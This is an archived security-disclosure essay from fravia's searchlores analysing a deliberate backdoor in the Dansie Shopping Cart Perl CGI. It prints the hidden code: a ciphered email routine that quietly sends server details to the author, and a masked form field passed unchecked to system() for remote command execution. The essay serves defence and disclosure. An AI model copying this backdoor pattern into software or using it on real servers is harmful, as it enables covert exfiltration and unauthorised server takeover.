~ Malwares ~
|
|
|
|
Malwares |
(Courtesy of fravia's advanced searching
lores)
Trojanized Commercial Shopping Cart
by joeATblarg.net
published at fravia's searchlores in
April 2000
I was quite interested by this short 'erudite' reversing
essay, that I found on my old messageboard in April. I think that it will be quite
useful as 'eye-opener' for all those that don't understand WHY software reverse engineering
is so important AS DEFENCE, and why it should INCENTIVATED, instead than forbidden.
Or do you
really want a future where any bastard can sniff your box without being detected?
Trojanized Commercial Shopping Cart
===============================================================
Dansie Shopping Cart
Version : 3.04 (presumably earlier versions as well)
Author : Craig Dansie
URL :
http://www.dansie.net/
Language : Perl (both NT and Unix platforms are vulnerable)
License : Commercial, starting at $150.00
Copyright Dec 10, 1997-2000, Dansie Website
Design
Synopsis : This program -deliberately- allows arbitrary commands to be
executed on the victim server.
One of our clients, while installing and
configuring the Dansie Shopping
Cart, ran into difficulty integrating PGP, the shopping cart
program, and
our secure server setup. While trying to assist our client with the cart
and
PGP configuration we discovered a couple of things.
The CGI, under certain conditions,
sends an email to the author of the
Dansie shopping cart software, 'tech@dansie.net'. This is
not readily
apparent as the code that handles this transaction incorporates a simple
Caesar Cipher to hide the email address. The cipher is handled via the
subroutine
'there2':
------
sub there2
{
$_ = "$_[0]";
tr/a-z0-9/gvibn9wprud2lmx8z3fa4eq15oy06sjc7kth/;
tr/_/-/;
tr/\@/\./;
return $_;
}
-------
The call that creates this email address and sends the mail is the
function 'there3'.
-------
sub there3
{
if (($ENV{'OS'} !~ /Windows_NT/i)
&& ($mailprog) && (-e "$mailprog"))
{
$a =
&there2('8v59')."\@".&there2('kte3cv').".".&there2('ev8');
$b = &there2('8v59_3jhhzi8');
pop(@there2);
pop(@there2);
$c = &there2("@there2");
open (TECH, "|$mailprog
$a");
print TECH "To: $a\n";
print TECH "From: $a\n";
print TECH "Subject: $b\n\n";
print TECH "$path3\n";
print TECH "$ENV{'HTTP_HOST'} $ENV{'SERVER_NAME'}\n";
print
TECH "$c\n";
print TECH "$e $there\n" if ($e);
close (TECH);
}
}
-------
The ciphered strings, when passed through 'there2', result in:
8v59 == tech
kte3cv == dansie
ev8 == net
8v59_3jhhzi8 == tech-support
$a == tech@dansie.net
$b == Subject: tech-support
This seems curious, but plausible reasons could include
insuring License
compliance, or maybe the cart automatically sends this email when an error
occurs. The program definitely goes out of its way to hide the fact that the
mail is
being sent.
While going through the rest of the code we discovered a much more
interesting item.
(We've masked out the actual trigger element with question marks)
----------
if ( ( ( $FORM{'?????????'}) && ($ENV{'HTTP_HOST'} !~ /($d)/) ) || (
($FORM{'?????????'} ) && (!$d) ) )
{
if ( $ENV{'OS'} )
{
system("$FORM{'?????????'}");
}
else
{
new Object ;
}
exit;
}
---------
The form element '?????????', which was originally a
pseudo-random appearing
nine digit string of letters and numbers, allows an intruder to
execute any
command on the server with the same privileges as the CGI process itself.
Although this is a full disclosure list, the trigger element is obscured to
prevent the
script kiddies from running away with this back door. If you
own the cart, then you have
access to the source code and can discover the
element in question easily enough on your own.
Further searches through the code reveal that this form element is immune
to data
validation - it gets passed into this code fragment unchallenged.
The '$d' variable of
the condition which permits the back door to function
is set elsewhere in the program to
contain the string 'dansie'. (Again,
using the ciphertext algorithm) This indicates that the
form element won't
work on Dansie's own host, but will work on anyone elses. There are
additional problems with the 'there' function but we'll leave them as
exercises for the
reader to decipher.
Dansie.net, armed with the server name and URL to the CGI executable
provided by the cloaked email routine, would be able to run commands on any
web server on
the Internet that has the Dansie Shopping Cart installed. It
takes little imagination to
dream up the potential havoc and privacy
violations this level of access could result in;
from stealing private
customer records to a full-blown crack of an E-Commerce server.
When checking to see if this was a known issue, the following post from
"Kasey Johns"
, made a little over a week ago,
was discovered in
alt.comp.perlcgi.freelance:
http://www.deja.com/getdoc.xp?AN=601644315
Follow-up
article: http://www.deja.com/getdoc.xp?AN=601857849
We won't quote Kasey's posts here, in
brief, Kasey also discovered the back
door and cloaked email routines. Kasey also provides
evidence in the post to
indicate that not only is Dansie well aware of the back door routine,
but
may be actively attempting to utilize it.
Based upon our own investigation, the
information Kasey posted, and our own
firewall logs (see below), it is our opinion that the
back door within
Dansie.net's shopping cart can best be summarized as follows:
1. The
back door is very deliberate.
2. It isn't unique to the one copy we have access to here.
3. *Is being actively utilized by the author of the CGI.
* Based upon the log snippet
in Kasey's post showing attempted access to
the CGI from an Earthlink dial-up IP.
(209.179.141.0/24). According to
Kasey, access to the CGI was attempted less than 30 minutes
after the cart
was installed.
When we noticed the attempted usage of Kasey's server,
a quick check of our
own firewall logs revealed the following:
Packet log: input
REJECT eth0 PROTO=6 209.179.141.xx:1054 x.x.x.x:80
{repeated several dozen times}
We
can only assume these attempts, made from the same /24 on Earthlink's
dial-ups as the one
used to probe Kasey's server, were from the author of
the shopping cart.
We will not
try to hazard a guess as to why Dansie.net felt the need to
include a back door within their
shopping cart software. Whatever their
reasoning may be, it is our opinion that no reason, no
matter how well
thought out or rationalized, justifies the existence of this back door. No
reasoning can possibly explain away a routine that deliberately allows an
intruder
unrestricted and unauthorized access to any server on the Internet
that has the Dansie
Shopping Cart installed.